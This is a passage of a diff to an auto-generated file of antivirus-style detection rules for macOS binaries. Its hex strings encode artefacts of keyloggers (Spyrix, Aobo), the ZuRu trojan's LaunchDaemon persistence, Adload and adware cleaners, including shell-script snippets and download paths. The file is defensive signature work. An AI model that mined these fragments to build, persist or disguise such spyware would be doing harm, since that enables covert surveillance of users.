_InfrastructureShared_21378{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29550+(#a_00_3 & 1)*1+(#a_50_4 & 1)*8448) >=4 } -rule _InfrastructureShared_21379{ +rule _InfrastructureShared_22661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -282079,7 +298514,7 @@ rule _InfrastructureShared_21379{ ((#a_41_0 & 1)*20515) >=1 } -rule _InfrastructureShared_21380{ +rule _InfrastructureShared_22662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282093,7 +298528,7 @@ rule _InfrastructureShared_21380{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25959+(#a_d3_2 & 1)*3+(#a_75_3 & 1)*8302+(#a_53_4 & 1)*14930) >=4 } -rule _InfrastructureShared_21381{ +rule _InfrastructureShared_22663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282106,7 +298541,7 @@ rule _InfrastructureShared_21381{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29806+(#a_45_3 & 1)*21044+(#a_61_4 & 1)*11884) >=4 } -rule _InfrastructureShared_21382{ +rule _InfrastructureShared_22664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 07 00 21 " @@ -282120,7 +298555,7 @@ rule _InfrastructureShared_21382{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25444+(#a_4f_2 & 1)*15+(#a_41_5 & 1)*8448+(#a_78_6 & 1)*328) >=5 } -rule _InfrastructureShared_21383{ +rule _InfrastructureShared_22665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 07 00 21 " @@ -282135,7 +298570,7 @@ rule _InfrastructureShared_21383{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28792+(#a_61_3 & 1)*17409+(#a_61_4 & 1)*26988+(#a_74_5 & 1)*26988+(#a_72_6 & 1)*8304) >=2 } -rule _InfrastructureShared_21384{ +rule _InfrastructureShared_22666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -282148,7 +298583,7 @@ rule _InfrastructureShared_21384{ ((#a_46_0 & 1)*16675+(#a_72_2 & 1)*29282+(#a_2e_3 & 1)*26723+(#a_6e_4 & 1)*25964) >=3 } -rule _InfrastructureShared_21385{ +rule _InfrastructureShared_22667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -282161,7 +298596,7 @@ rule _InfrastructureShared_21385{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_61_2 & 1)*29539+(#a_6e_3 & 1)*26988) >=4 } -rule _InfrastructureShared_21386{ +rule _InfrastructureShared_22668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -282174,7 +298609,7 @@ rule _InfrastructureShared_21386{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28525+(#a_6c_2 & 1)*30575+(#a_72_3 & 1)*28271) >=4 } -rule _InfrastructureShared_21387{ +rule _InfrastructureShared_22669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282183,39 +298618,25 @@ rule _InfrastructureShared_21387{ $a_6e_1 = {72 43 6f 6e 74 72 6f 6c 4c 6f 63 6b 69 6e 67 01 00 4b 00 41 72 65 20 79 6f 75 20 61 62 73 6f 6c 75 74 65 6c 79 20 73 75 72 65 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 64 65 6c 65 74 65 20 61 6c 6c 20 6f 66 20 74 68 65 20 72 65 6d 6f 74 65 20 6b 65 79 70 72 65 73 73 20 6c 6f 67 73 3f 01 00 12 00 41 63 69 64 20 43 6c 69 65 6e 74 56 69 } //18432 $a_6c_2 = {00 00 03 00 8d d5 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 50 00 02 00 1f 00 63 6f 6d 2e 50 43 76 61 72 6b 2e 41 64 76 61 6e 63 65 64 2d 4d 61 63 2d 43 6c 65 61 6e 65 72 01 00 16 00 61 64 76 61 6e 63 65 64 6d 61 63 63 6c } //26995 $a_65_3 = {2e 63 6f 6d 01 00 35 00 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2f 70 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 23 00 54 65 63 68 79 75 74 69 6c 73 20 53 6f 66 74 77 61 72 65 20 50 72 69 76 61 74 65 20 4c 69 6d 69 74 65 64 01 00 0a 00 52 51 41 38 36 54 } //24933 - $a_35_4 = {00 02 00 8d d5 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 70 79 72 69 78 2e 44 21 4d 54 42 00 01 } //14424 + $a_35_4 = {00 02 00 8d d6 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 01 00 2c 00 2f } //14424 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*18432+(#a_6c_2 & 1)*26995+(#a_65_3 & 1)*24933+(#a_35_4 & 1)*14424) >=4 } -rule _InfrastructureShared_21388{ +rule _InfrastructureShared_22670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 50 00 02 00 1f 00 63 6f 6d 2e 50 43 76 61 72 6b 2e 41 64 76 61 6e 63 65 64 2d 4d 61 63 2d 43 6c 65 61 6e 65 72 01 00 16 00 61 64 76 61 6e 63 65 64 6d 61 63 } //16675 $a_61_1 = {65 72 2e 63 6f 6d 01 00 35 00 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2f 70 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 23 00 54 65 63 68 79 75 74 69 6c 73 20 53 6f 66 74 77 61 72 65 20 50 72 69 76 61 74 65 20 4c 69 6d 69 74 65 } //27747 - $a_41_3 = {36 54 58 38 36 35 00 00 02 00 8d d5 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 70 79 72 69 78 2e 44 21 4d 54 42 00 01 00 15 01 63 6f 6d 2e 73 70 79 72 69 78 2e 65 6d 70 2d 68 65 } //20992 - $a_72_4 = {00 1a 01 67 72 6f 75 70 2e 63 6f 6d 2e 73 70 79 72 69 78 2e 65 6d 70 2e 73 68 61 72 65 01 00 17 01 2f 4c 69 62 72 61 72 79 2f 65 6d 70 2f 53 70 79 72 69 78 2e 61 70 70 01 00 20 01 64 61 73 68 62 6f 61 72 64 2e 73 70 79 72 69 78 2e 63 6f 6d 2f 70 72 67 2d 61 63 74 69 6f 6e 73 01 00 2b 01 24 73 31 33 53 } //28780 + $a_41_3 = {36 54 58 38 36 35 00 00 02 00 8d d6 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 01 00 2c 00 2f 61 6f 62 6f 6b 65 79 6c 6f 67 67 65 72 2f 62 75 69 6c 64 2f } //20992 + $a_4c_4 = {67 67 65 72 2e 62 75 69 6c 64 2f 52 65 6c 65 61 73 65 01 00 27 00 2f 4c 69 62 72 61 72 79 2f 2e 41 5f 6f 5f 62 5f 6f 2f 25 40 2f 43 6f 6e 74 65 6e 74 73 2f 4d 61 63 4f 53 2f 41 62 6b 01 00 20 00 2f 61 6f 62 6f 6b 65 79 6c 6f 67 67 65 72 2f 4c 4b 49 6e 73 74 61 6c 6c 65 72 4d 61 69 6e 2e 6d 01 00 25 00 4c 4b 49 6e 73 74 61 6c 6c 65 72 43 6f 6e 74 72 6f 6c 6c 65 } //25931 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27747+(#a_41_3 & 1)*20992+(#a_72_4 & 1)*28780) >=5 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27747+(#a_41_3 & 1)*20992+(#a_4c_4 & 1)*25931) >=5 } -rule _InfrastructureShared_21389{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " - - strings : - $a_4c_0 = {4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 70 79 72 69 78 2e 44 21 4d 54 42 00 01 00 15 01 63 6f 6d 2e 73 70 79 72 69 78 2e 65 6d 70 2d 68 65 6c 70 65 72 01 00 1a 01 67 72 6f 75 70 2e } //21539 - $a_2e_1 = {70 79 72 69 78 2e 65 6d 70 2e 73 68 61 72 65 01 00 17 01 2f 4c 69 62 72 61 72 79 2f 65 6d 70 2f 53 70 79 72 69 78 2e 61 70 70 01 00 20 01 64 61 73 68 62 6f 61 72 64 2e 73 70 79 72 69 78 2e 63 6f 6d 2f 70 72 67 2d 61 63 74 69 6f 6e 73 01 00 2b 01 24 73 31 33 53 70 79 72 69 78 5f 48 65 6c 70 65 72 32 33 5f 41 43 52 65 73 6f 75 } //28515 - $a_49_2 = {69 74 50 72 6f 74 6f 63 6f 6c 50 00 00 8d d6 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 01 00 2c 00 2f 61 6f 62 6f 6b 65 79 6c 6f 67 67 65 72 2f 62 75 69 6c 64 2f 4b 65 79 4c 6f 67 67 65 72 2e 62 75 69 6c 64 2f 52 } //25458 - $a_61_3 = {65 01 00 27 00 2f 4c 69 62 72 61 72 79 2f 2e 41 5f 6f 5f 62 5f 6f 2f 25 40 2f 43 6f 6e 74 65 6e 74 73 2f 4d 61 63 4f 53 2f 41 62 6b 01 00 20 00 2f 61 6f 62 6f 6b 65 79 6c 6f 67 67 65 72 2f 4c 4b 49 6e 73 74 61 6c 6c 65 72 4d 61 69 6e 2e 6d 01 00 25 00 4c 4b 49 6e 73 74 61 6c 6c 65 72 43 6f 6e 74 72 6f } //27749 - $a_72_4 = {69 6e 73 74 61 6c 6c 4c 6f 67 4b 65 78 74 3a 00 00 01 00 8d d6 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4a 61 77 65 67 6f 2e 47 00 01 00 25 00 2f 41 70 70 6c 69 63 61 74 69 6f 6e 73 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 54 75 6e 65 75 70 2e 61 70 70 01 00 } //27756 - condition: - ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*28515+(#a_49_2 & 1)*25458+(#a_61_3 & 1)*27749+(#a_72_4 & 1)*27756) >=5 - -} -rule _InfrastructureShared_21390{ +rule _InfrastructureShared_22671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -282228,7 +298649,7 @@ rule _InfrastructureShared_21390{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25971+(#a_69_2 & 1)*12032+(#a_73_3 & 1)*18763) >=2 } -rule _InfrastructureShared_21391{ +rule _InfrastructureShared_22672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -282241,7 +298662,7 @@ rule _InfrastructureShared_21391{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*25975+(#a_20_2 & 1)*29285+(#a_6f_3 & 1)*12147) >=4 } -rule _InfrastructureShared_21392{ +rule _InfrastructureShared_22673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -282254,7 +298675,7 @@ rule _InfrastructureShared_21392{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28005+(#a_74_2 & 1)*28527+(#a_6e_3 & 1)*27951) >=4 } -rule _InfrastructureShared_21393{ +rule _InfrastructureShared_22674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282268,7 +298689,7 @@ rule _InfrastructureShared_21393{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28718+(#a_65_2 & 1)*26191+(#a_2e_3 & 1)*25449+(#a_74_4 & 1)*25449) >=4 } -rule _InfrastructureShared_21394{ +rule _InfrastructureShared_22675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -282277,25 +298698,39 @@ rule _InfrastructureShared_21394{ $a_65_1 = {61 73 70 01 00 10 00 63 6f 6d 2e 73 64 67 2e 61 64 76 63 6c 65 61 6e 01 00 25 00 63 64 6e 2e 6d 61 64 63 2e 63 6f 6d 2f 6d 61 64 63 2f 62 75 69 6c 64 73 2f 6d 61 77 63 5f 61 6d 63 2e 7a 69 70 01 00 19 00 61 6d 63 5f 63 68 65 63 6b 5f 61 76 2f 4f 70 74 6d 69 7a 65 4d 79 4d 61 63 01 00 16 00 2f 41 } //26994 $a_69_2 = {61 74 69 6f 6e 73 2f 4d 41 44 43 2e 61 70 70 00 00 03 00 8d d8 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 42 00 02 00 2c 00 61 70 70 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 61 70 70 2f 43 6f 6e 74 65 6e 74 73 2f 4d 61 63 4f 53 2f 44 6f 77 6e 6c 6f 61 64 65 72 02 00 } //28784 $a_55_3 = {65 72 73 2f 75 73 65 72 2f 44 6f 63 75 6d 65 6e 74 73 2f 6d 61 63 4c 61 75 6e 63 68 65 72 2f 6d 61 63 4c 61 75 6e 63 68 65 72 2f 6d 61 63 4c } //58 ers/user/Documents/macLauncher/macLauncher/macL - $a_63_4 = {65 72 2f 01 00 2e 00 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 22 20 26 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 50 4f 53 49 58 20 70 61 74 68 01 00 0f 00 6d 64 6d 2e 6d 61 63 4c 61 75 6e 63 68 65 72 00 00 8d da 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f } //30049 - $a_78_5 = {00 02 00 28 00 2f 2e 44 69 72 65 63 74 6f 72 79 2d 25 6c 64 2f 44 65 66 61 75 6c 74 53 65 61 72 63 } //18478 + $a_63_4 = {65 72 2f 01 00 2e 00 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 22 20 26 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 50 4f 53 49 58 20 70 61 74 68 01 00 0f 00 6d 64 6d 2e 6d 61 63 4c 61 75 6e 63 68 65 72 00 00 8d d9 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 5a 75 52 75 2e 42 21 } //30049 + $a_00_5 = {01 00 19 01 5f 77 72 69 74 65 50 6c 69 73 74 41 6e 64 53 74 61 72 74 44 61 65 6d 6f 6e 01 00 33 01 2f 4c 69 62 72 61 72 79 2f 4c 61 75 6e 63 68 44 61 65 6d 6f 6e 73 2f 63 6f 6d 2e 61 70 70 6c 65 2e } //21581 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26994+(#a_69_2 & 1)*28784+(#a_55_3 & 1)*58+(#a_63_4 & 1)*30049+(#a_78_5 & 1)*18478) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26994+(#a_69_2 & 1)*28784+(#a_55_3 & 1)*58+(#a_63_4 & 1)*30049+(#a_00_5 & 1)*21581) >=4 } -rule _InfrastructureShared_21395{ +rule _InfrastructureShared_22676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 42 00 02 00 2c 00 61 70 70 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 61 70 70 2f 43 6f 6e 74 65 6e 74 73 2f 4d 61 63 4f 53 2f 44 6f 77 6e 6c 6f 61 64 65 72 02 00 3a 00 2f } //16675 $a_72_1 = {2f 75 73 65 72 2f 44 6f 63 75 6d 65 6e 74 73 2f 6d 61 63 4c 61 75 6e 63 68 65 72 2f 6d 61 63 4c 61 75 6e 63 68 65 72 2f 6d 61 63 4c 61 75 6e 63 68 65 72 2f 01 00 2e 00 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 22 20 26 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 50 4f 53 49 58 20 70 61 74 } //29525 - $a_6d_3 = {6d 61 63 4c 61 75 6e 63 68 65 72 00 00 8d da 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 48 21 78 70 00 02 00 28 00 2f 2e 44 69 72 65 63 74 6f 72 79 2d 25 6c 64 2f 44 65 66 61 75 6c 74 53 65 61 72 63 68 2e 73 61 66 61 72 69 65 78 74 7a 01 } //27904 + $a_6d_3 = {6d 61 63 4c 61 75 6e 63 68 65 72 00 00 8d d9 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 5a 75 52 75 2e 42 21 4d 54 42 00 01 00 19 01 5f 77 72 69 74 65 50 6c 69 73 74 41 6e 64 53 74 61 72 74 44 61 65 6d 6f 6e 01 00 33 01 2f 4c 69 62 72 61 72 79 2f 4c 61 75 6e 63 } //27904 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29525+(#a_6d_3 & 1)*27904) >=6 } -rule _InfrastructureShared_21396{ +rule _InfrastructureShared_22677{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 5a 75 52 75 2e 42 21 4d 54 42 00 01 00 19 01 5f 77 72 69 74 65 50 6c 69 73 74 41 6e 64 53 74 61 72 74 44 61 65 6d 6f 6e 01 00 33 01 2f 4c 69 62 72 61 72 79 2f 4c 61 75 } //21539 + $a_44_1 = {65 6d 6f 6e 73 2f 63 6f 6d 2e 61 70 70 6c 65 2e 78 73 73 6f 6f 78 78 61 67 65 6e 74 2e 70 6c 69 73 74 01 00 1e 01 2f 74 6d 70 2f 61 70 70 6c 65 2d 6c 6f 63 61 6c 2d 69 70 63 2e 73 6f 63 6b 2e 6c 6f 63 6b 01 00 0f 01 2f 74 6d 70 2f 2e 66 73 65 76 65 6e 74 73 64 01 00 26 01 74 74 70 3a 2f 2f 64 6f 77 6e 6c 6f 61 } //25454 + $a_65_2 = {6d 69 75 73 2e 69 6e 66 6f 2f 62 6e 2e 6c 6f 67 2e 65 6e 63 00 00 8d da 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 48 21 78 70 00 02 00 28 00 2f 2e 44 69 72 65 63 74 6f 72 79 2d 25 6c 64 2f 44 65 66 61 75 6c 74 53 65 61 72 63 68 2e 73 61 66 61 72 69 65 78 74 7a 01 00 14 00 73 65 73 73 } //11876 + $a_2e_3 = {74 61 72 74 75 70 5f 75 72 6c 73 01 00 17 00 2f 2e 6e 65 77 6f 66 66 65 72 73 2f 70 61 72 61 6d 73 2e 6a 73 6f 6e 01 00 10 00 63 6f 6d 2e 73 65 61 72 63 68 2e 6f 66 66 65 72 01 00 39 00 3a 2f 2f 67 6f 74 6f 2d 73 65 61 72 63 68 69 74 6e 6f 77 2e 67 6c 6f 62 61 6c 2e 73 73 6c 2e 66 61 73 74 6c 79 2e 6e 65 74 2f 76 31 2f 68 6f 73 } //28521 + $a_73_4 = {61 72 63 68 00 00 03 00 8d da 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 4e 21 78 70 00 01 00 15 00 63 6f 6d 2e 74 65 63 68 79 2e 6d 6f 68 6c 70 2e 70 6c 69 73 74 01 00 21 00 4c 69 62 72 61 72 79 2f 4d 61 63 20 4f 70 74 69 6d 69 7a } //25972 + condition: + ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*25454+(#a_65_2 & 1)*11876+(#a_2e_3 & 1)*28521+(#a_73_4 & 1)*25972) >=5 + +} +rule _InfrastructureShared_22678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282309,7 +298744,7 @@ rule _InfrastructureShared_21396{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29555+(#a_2f_2 & 1)*30255+(#a_72_3 & 1)*28257+(#a_2e_4 & 1)*28265) >=4 } -rule _InfrastructureShared_21397{ +rule _InfrastructureShared_22679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282323,7 +298758,7 @@ rule _InfrastructureShared_21397{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29285+(#a_2f_2 & 1)*30323+(#a_2f_3 & 1)*20323+(#a_3a_4 & 1)*21077) >=4 } -rule _InfrastructureShared_21398{ +rule _InfrastructureShared_22680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -282338,7 +298773,7 @@ rule _InfrastructureShared_21398{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26217+(#a_65_2 & 1)*11880+(#a_61_3 & 1)*28015+(#a_4d_4 & 1)*31092+(#a_74_5 & 1)*28265) >=6 } -rule _InfrastructureShared_21399{ +rule _InfrastructureShared_22681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -282351,7 +298786,7 @@ rule _InfrastructureShared_21399{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25391+(#a_63_2 & 1)*11877+(#a_72_3 & 1)*25971) >=3 } -rule _InfrastructureShared_21400{ +rule _InfrastructureShared_22682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 08 00 21 " @@ -282367,7 +298802,7 @@ rule _InfrastructureShared_21400{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*14952+(#a_72_3 & 1)*21248+(#a_52_4 & 1)*21320+(#a_69_5 & 1)*24941+(#a_66_6 & 1)*29807+(#a_72_7 & 1)*28005) >=6 } -rule _InfrastructureShared_21401{ +rule _InfrastructureShared_22683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -282381,7 +298816,7 @@ rule _InfrastructureShared_21401{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29801+(#a_00_2 & 1)*26217+(#a_72_3 & 1)*28780+(#a_de_4 & 1)*2) >=11 } -rule _InfrastructureShared_21402{ +rule _InfrastructureShared_22684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282394,7 +298829,7 @@ rule _InfrastructureShared_21402{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24909+(#a_41_3 & 1)*16896+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_21403{ +rule _InfrastructureShared_22685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -282409,7 +298844,7 @@ rule _InfrastructureShared_21403{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_de_5 & 1)*0) >=4 } -rule _InfrastructureShared_21404{ +rule _InfrastructureShared_22686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282421,7 +298856,7 @@ rule _InfrastructureShared_21404{ ((#a_46_0 & 1)*16675+(#a_2e_2 & 1)*30583+(#a_00_4 & 1)*-29440) >=5 } -rule _InfrastructureShared_21405{ +rule _InfrastructureShared_22687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 03 00 21 " @@ -282433,7 +298868,7 @@ rule _InfrastructureShared_21405{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27756+(#a_60_2 & 1)*11552) >=6 } -rule _InfrastructureShared_21406{ +rule _InfrastructureShared_22688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -282447,7 +298882,7 @@ rule _InfrastructureShared_21406{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*24941+(#a_64_2 & 1)*25971+(#a_63_3 & 1)*27246+(#a_68_4 & 1)*30063) >=12 } -rule _InfrastructureShared_21407{ +rule _InfrastructureShared_22689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -282459,7 +298894,7 @@ rule _InfrastructureShared_21407{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*25962+(#a_4f_3 & 1)*21536) >=4 } -rule _InfrastructureShared_21408{ +rule _InfrastructureShared_22690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 03 00 21 " @@ -282470,7 +298905,7 @@ rule _InfrastructureShared_21408{ ((#a_46_0 & 1)*16675+(#a_df_1 & 1)*18588) >=6 } -rule _InfrastructureShared_21409{ +rule _InfrastructureShared_22691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -282484,7 +298919,7 @@ rule _InfrastructureShared_21409{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*13600+(#a_70_2 & 1)*21601+(#a_42_3 & 1)*19745+(#a_6c_4 & 1)*30575) >=6 } -rule _InfrastructureShared_21410{ +rule _InfrastructureShared_22692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -282498,7 +298933,7 @@ rule _InfrastructureShared_21410{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25646+(#a_73_2 & 1)*26912+(#a_2f_3 & 1)*26978+(#a_6d_4 & 1)*25) >=6 } -rule _InfrastructureShared_21411{ +rule _InfrastructureShared_22693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -282511,7 +298946,7 @@ rule _InfrastructureShared_21411{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29797+(#a_61_2 & 1)*11776+(#a_6f_3 & 1)*11877) >=3 } -rule _InfrastructureShared_21412{ +rule _InfrastructureShared_22694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282525,7 +298960,7 @@ rule _InfrastructureShared_21412{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*28259+(#a_65_2 & 1)*24935+(#a_61_3 & 1)*14930+(#a_72_4 & 1)*26956) >=5 } -rule _InfrastructureShared_21413{ +rule _InfrastructureShared_22695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -282538,7 +298973,7 @@ rule _InfrastructureShared_21413{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26465+(#a_2e_2 & 1)*28780+(#a_a8_4 & 1)*-32768) >=3 } -rule _InfrastructureShared_21414{ +rule _InfrastructureShared_22696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -282549,7 +298984,7 @@ rule _InfrastructureShared_21414{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*40) >=2 } -rule _InfrastructureShared_21415{ +rule _InfrastructureShared_22697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -282564,7 +298999,7 @@ rule _InfrastructureShared_21415{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28243+(#a_6d_2 & 1)*25344+(#a_f9_3 & 1)*-18456+(#a_c7_4 & 1)*2084+(#a_2e_5 & 1)*24943) >=6 } -rule 